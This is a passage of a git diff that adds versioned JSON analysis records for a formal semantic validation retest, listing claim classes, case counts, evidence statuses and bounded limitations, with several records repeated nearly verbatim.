"replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1365-execution-v59", + "generated_at": "2026-09-27", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1389 temporal-subject admission is verified by dedicated compiler tests and adds no new formal-semantic claim to this retained corpus.", + "API-424 v2 participant-control contracts are checked by their dedicated contract suite; this retained formal corpus does not install a provider or establish live effect realization." + ], + "plain_language_outcome": "The retained formal cases reproduce their prior outcomes against the API-424 contract publication source. Bounded claims and unsupported classes are unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v61.json b/docs/research/formal-semantic-validation/analysis-v61.json new file mode 100644 index 000000000..248a1c70f --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v61.json @@ -0,0 +1,156 @@ +{ + "analysis_id": "issue-971-analysis-v56", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v61.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-971-execution-v56", + "generated_at": "2026-09-27", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1389 temporal-subject admission is verified by dedicated compiler tests and adds no new formal-semantic claim to this retained corpus.", + "Issue #971 model construction is verified by its own tests; this retained corpus establishes no participant-crossing equivalence or runtime-realization claim." + ], + "plain_language_outcome": "The retained formal cases replay with unchanged outcomes against the source containing the crossing profile and opacity admission guards.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v62.json b/docs/research/formal-semantic-validation/analysis-v62.json new file mode 100644 index 000000000..1efe413bc --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v62.json @@ -0,0 +1,156 @@ +{ + "analysis_id": "issue-971-analysis-v57", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v62.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-971-execution-v57", + "generated_at": "2026-09-27", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1389 temporal-subject admission is verified by dedicated compiler tests and adds no new formal-semantic claim to this retained corpus.", + "Issue #971 model construction is verified by its own tests; this retained corpus establishes no participant-crossing equivalence or runtime-realization claim." + ], + "plain_language_outcome": "The retained formal cases replay unchanged outcomes after adding type annotations to the crossing profile.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v63.json b/docs/research/formal-semantic-validation/analysis-v63.json new file mode 100644 index 000000000..09eb08022 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v63.json @@ -0,0 +1,156 @@ +{ + "analysis_id": "issue-971-merged-analysis-v63", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v63.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-971-merged-execution-v63", + "generated_at": "2026-09-30", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1389 temporal-subject admission is verified by dedicated compiler tests and adds no new formal-semantic claim to this retained corpus.", + "Issue #971 model construction is verified by its own tests; this retained corpus establishes no participant-crossing equivalence or runtime-realization claim." + ], + "plain_language_outcome": "The retained cases replay against the merged participant-crossing models and API-424 control contracts; outcomes and bounded claim limits are unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v64.json b/docs/research/formal-semantic-validation/analysis-v64.json new file mode 100644 index 000000000..d5ac5acdc --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v64.json @@ -0,0 +1,156 @@ +{ + "analysis_id": "issue-971-dependency-analysis-v64", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v64.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-971-dependency-execution-v64", + "generated_at": "2026-09-30", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1389 temporal-subject admission is verified by dedicated compiler tests and adds no new formal-semantic 